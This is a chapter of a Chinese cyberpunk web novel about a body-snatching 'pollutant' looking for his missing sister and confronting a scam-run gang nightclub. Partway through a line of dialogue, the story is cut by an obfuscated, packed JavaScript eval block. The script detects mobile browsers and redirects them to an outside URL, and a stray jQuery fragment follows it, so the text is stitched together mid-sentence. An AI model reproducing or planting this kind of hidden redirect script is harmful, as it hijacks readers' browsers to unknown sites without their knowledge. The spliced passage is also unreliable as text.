第五十二章
冷风从灰熊镇的高楼间穿梭而过，割破夜色里的寂静。
霓虹灯下，街道被映照得光怪陆离，是不是有悬浮车掠过，将地面的影子切得四分五裂。
周然和时邈并肩走着，一前一后。周然的手轻轻插在风衣口袋里，风吹动他的衣摆，像是要将他整个人吞噬在阴影里。
街道旁偶有路人经过，机械义肢和电子义眼的光芒偶尔闪烁，让人分不清这里究竟是人类还是机械的世界。
时邈一直沉默，像是在等待着什么。周然则继续默不作声，直到走出异常调查局的范围，路灯的光线渐渐昏暗，空气中的压迫感少了几分，周然才终于开口，打破了这份沉默。
“对于种子计划，你知道多少？”周然的声音很轻，却带着一种独特的穿透力，像是在夜空中投下了一枚石子，激起了圈圈涟漪。
时邈微微皱眉，显然没想到周然会这么问。他侧头看了周然一眼，目光中有些疑惑，但很快有收敛了起来，语气依旧平淡：
“怎么了？”
“我只希望你能告诉我，”周然摇了摇头，但很快又补充了一句，“如果你愿意说的话。”
时邈沉默了几秒，最后轻叹了一口气，开口道：
“没有多少。种子计划参与的人很多，每个人只负责自己的一部分。就像我，也只是负责对那些已经播成功的'种子载体'进行召唤。”
周然点了点头，内心略有些失望，但这回答却没有出乎他的意料。
他的目光飘向远处的霓虹灯牌，那些闪烁的光线在夜空中跳跃。
“那你知道什么是播种吗？”周然继续开口。
时邈的脚步稍微停顿了一下，似乎在回忆什么，最后淡淡道：
“据我所知，污染物并不能长期接触每一个载体，因为我们的数量太少，太容易暴露。所以我们只是负责'回收'那些意志薄弱的个体，或者是容易受到感染存在。这样，播种会变得简单。”
他的声音平稳，没有丝毫情绪波动。
“比如祝千山，他得了基因病很久了。”时邈轻描淡写地说，
“他的身体和意志已经虚空，让召唤进行的很顺利。”
周然轻轻拢了拢风衣，目光不由得沉了下来。
夜风吹着，呼呼而过。
周然沉默了片刻，突然道：
“所以，对于那些被播种的动物来说，召唤，能给它们力量。说不一定也是一种救赎？”
他想起了自己的癌症。
自己现在和那只黑猫没有区别。
时邈被这句突如其来的话震了一下，他没有想到周然会说出这样的言论。
周然虽然平时表现得冷静，但在这一刻，时邈察觉到了一丝难以言明的情绪。
“你……”时邈犹豫着想开口问，却终究没有多言。他总觉得周然有时不像是完全的污染物，反而像是另有深意。
周然抬眼看向他，声音变得平静：“我想请你帮我个忙。你能查到种子候选人的名单吗？”
时邈眼神微微一变，停下脚步，琥珀色的眸子带着一丝疑惑和警惕。
“你为什么要查这个？”
“我担心一个人。”
周然停顿了一下，声音中透出一种罕见的低沉，
“我的妹妹，周芫。她失踪很久了，但最近，突然有了她的一些消息。”
时邈的神色变得复杂，目光闪烁
“你担心她被播种了？”
周然点头。
“有这种可能。”
时邈静静地打量着周然，眉头轻轻皱起：“你对这副'人皮'的亲属，倒是格外上心。”
他的语气里带着一丝戏谑，扬起嘴角，仿佛想从周然的眼神中挖掘出什么。
周然微微一笑，语气轻松：“如果是你失踪的话，我会更加上心的。”
时邈微不可察地挑了挑眉，显然没料到周然会这样回应。
“开玩笑的。”周然淡淡地说，“我只是在扮演好哥哥这个角色，周谨很在乎这件事。”
时邈没有追问，只是轻轻点头，继续向前走去：“我会看情况，帮你留意。”
周然没有说话，目光在他背影上停留几秒，随后跟了上去。灰熊的夜色依旧沉重，远处的霓虹灯如梦似幻，将两人的影子拉得长长的，投在城市的街道上。
周然回到家后，灰熊镇那种日复一日的沉重感，依旧挥之不去。他脱下手套，随手丢在沙发上，整个人放松地靠在椅背上，闭上了眼睛。虽然看似无事，但脑海中始终盘悬着他与时邈关于“种子计划”的对话。
打工难，当双面打工人，难上加难。
周然内心苦笑。
接下来的几天，异常调查局的任务并没有太大进展，林云熙显然也因志气啊你的失误而格外谨慎，带队时比往常多了几分戒备。她每次都仔细检查，生怕再有任何差错，可这反而让几次任务都显得过于小题大做——乌龙一场。
周然对此没有太大的情绪波动，只是按部就班地完成任务，只是心里，对像瘟疫般蔓延开的“种子”的担忧逐渐加深。
日子在这些琐碎的任务中平淡流过，直到那天——周然答应带周谨去帮派拿周芫线索的日子。
清晨的阳光透过薄雾，灰熊镇难得见到如此明亮的天空。
“哥，出门啦！”周谨的声音打破了屋内的安静，他已经装好了义肢双腿，兴奋地等在门口，一副迫不及待的样子。
周然淡淡应了一声，“知道了，来了。”
他看向镜子里的自己，今天他穿得比平时简约清爽，之前长时间的工作让他觉得自己都带上了些“班味”。
周谨看着哥哥，眼神里有些惊讶：“哥，你今天穿的这么好看，是不是心情也不错啊？”
“别闹，”周然淡淡地笑了一下，“东西都带好了么？知道怎么去那里吧。”
“放心吧！哥，我都去过好多次啦！”周谨一边说一边拍了拍背包，期待道。
周然点点头，跟着周谨走出门。街道上的空气带着一丝清新的凉意，远处的霓虹灯依旧模糊，灰熊镇的喧嚣暂时被早晨的宁静冲淡。
一路上，周谨兴致勃勃地和周然聊着天，话题从灰熊镇新鲜的能量饼干，聊到最近的新闻，他已经很久没有机会和哥哥聊天了，似乎有说不完的话。
周然一句句应着，眼神时不时飘向远方，心中却在思索这次会见帮派的事情。
“哥，你在调查局的工作怎么样啊？”周谨突然问道，眼里闪着好奇的光芒。
“还行，没什么特别的。”周然淡淡地回答，目光始终平静。
“污染物真的有那么恐怖吗？”周谨继续问，声音中带着一些担忧。
周然轻笑了一下：“也没有你想的那么夸张。”
周谨皱了皱眉，显然对这个回答并不满意：“可我听说污染物很难分辨，要是能有个简单的方法将就好了。”
周然没有接话，他的目光落在街边的建筑上，沉默了几秒。
突然，周谨压低了声音，带着几分神秘地说道：“其实哥，我知道一个办法，可以更简单地分辨出污染物。”
周然微微挑眉，眼神中带着一丝好奇：“哦？什么办法？”
周谨笑得神秘兮兮，像是发现了什么不得了的秘密：“污染物总是伪装成人类，可是它们根本不会有原本人类的记忆啊！所以啊，它们替换掉人类后，人类身边的人，一定会发现他们不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13954391|142925||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一样了，不是吗？”
周然的笑容组建消失，眉头微微皱起，若有所思。
他并没有立即回答，周然的直觉虽然幼稚，但某种程度上，却一语道破了问题的本质。
“就像是你，”周谨又继续道，他年幼的眼神清澈，直直看向周然，“如果说哥哥被什么东西替换了，我一定会感觉到的，毕竟，哥哥的习惯和性格，会变得和以前完全不一样……”
周然看着周谨。
难道，周谨已经发现了……
自己，并不是从一开始就是周然，
而更像是接管了这个游戏账号……
周谨继续道：
“所以说，如果我们都能这样判断，就一定能找出身边的污染物。”他眨着大大的眼睛，似乎在意指着什么，
“你说对吧，哥哥？”
镜网帮。
音乐节奏震耳欲聋，灯光闪烁，镜网帮的夜店外表光线亮丽，里面确实一片混乱嘈杂。变种人和普通人，在舞池里疯狂扭动，伴随着虚拟激光和数字音乐的冲击，宛如一个信息与欲望交织的迷幻世界。
这里表面上是一个狂欢之地，然而周然知道，这里是一个吞噬金钱和秘密的漩涡，隐藏着无数的信息交换和黑|市交易。
周然推着周谨走进大门，霓虹灯的冷色调映在他们脸上，衬得周然的表情越发清冷。他的目光扫过四周，捕捉到各个角落里隐藏的监控视眼，和偷偷摸摸的交易。
周然微微皱眉，心里有了判断——这个地方，诈|骗的气息几乎要溢出来。
舞池边，一个女服务员正低声挨着骂。她穿着赛博朋克风格的制服，肩膀上闪烁着虚拟图案，眼神有些慌乱。
“你都上班一个月了，怎么还这么不开窍！”一个穿着华丽义体，头发油亮的男人正在训斥她，声音有些尖利，“这种抓出轨的委托没什么利润，随便说几句就行，怎么还往大包厢里带？想让顾客真找到线索吗？”
“可是老板……”女服务员低声辩解，显然有些不知所措，“那一单真的有实锤啊！”
“有实锤了就更没钱赚了！”老板的脸色难看，“你得钓足顾客胃口，才能让他们不断追加费用。什么时候你才能学会？！”
女服务员一脸委屈，正想继续解释，老板却看到门口的两个身影，脸色一变，露出贪婪的微笑：“哟，机会来了！”
他示意女服务员：“看见没，这是历练你的好机会。”
女服务员怔了一下，有些不解地看过去：“啊？”
老板压低声音笑道：“这位小朋友可是我们的稳定客源，每次都来送钱，你只管忽悠就行，别搞砸了！”
这时，周谨已经推门而入，轮椅轻轻滑动，五光十色的霓虹照在他稚嫩的脸上。
女服务员迅速调整表情，端着能源果汁迎了上去，笑容职业而公式化：“你好，小朋友，请问是有委托来找什么的吗？”
周谨点了点头，满怀期待地说道：“对的……”
女服务员看着小孩一脸期待和天真的样子，思索着这单好像真能成。
她弯下身子，笑眯眯道，“姐姐可以帮你哦。”
话还没说完，旁边的周然眼神一扫，捕捉到夜店里种种异样。这个地方没看来就是纯粹的骗局，周谨之前的钱，恐怕都在这里打水漂了。
“是要找东西，还是找人呀？”
“我们是来找……”
不等周谨继续，周然打断了他的话。
“都不是。”
女服务员一愣:“来镜网既不找人也不找物，那找什么。”
周然眯起眼，
他从周谨的背包里掏出一叠历史委托账单，淡淡地笑道：
“找茬。”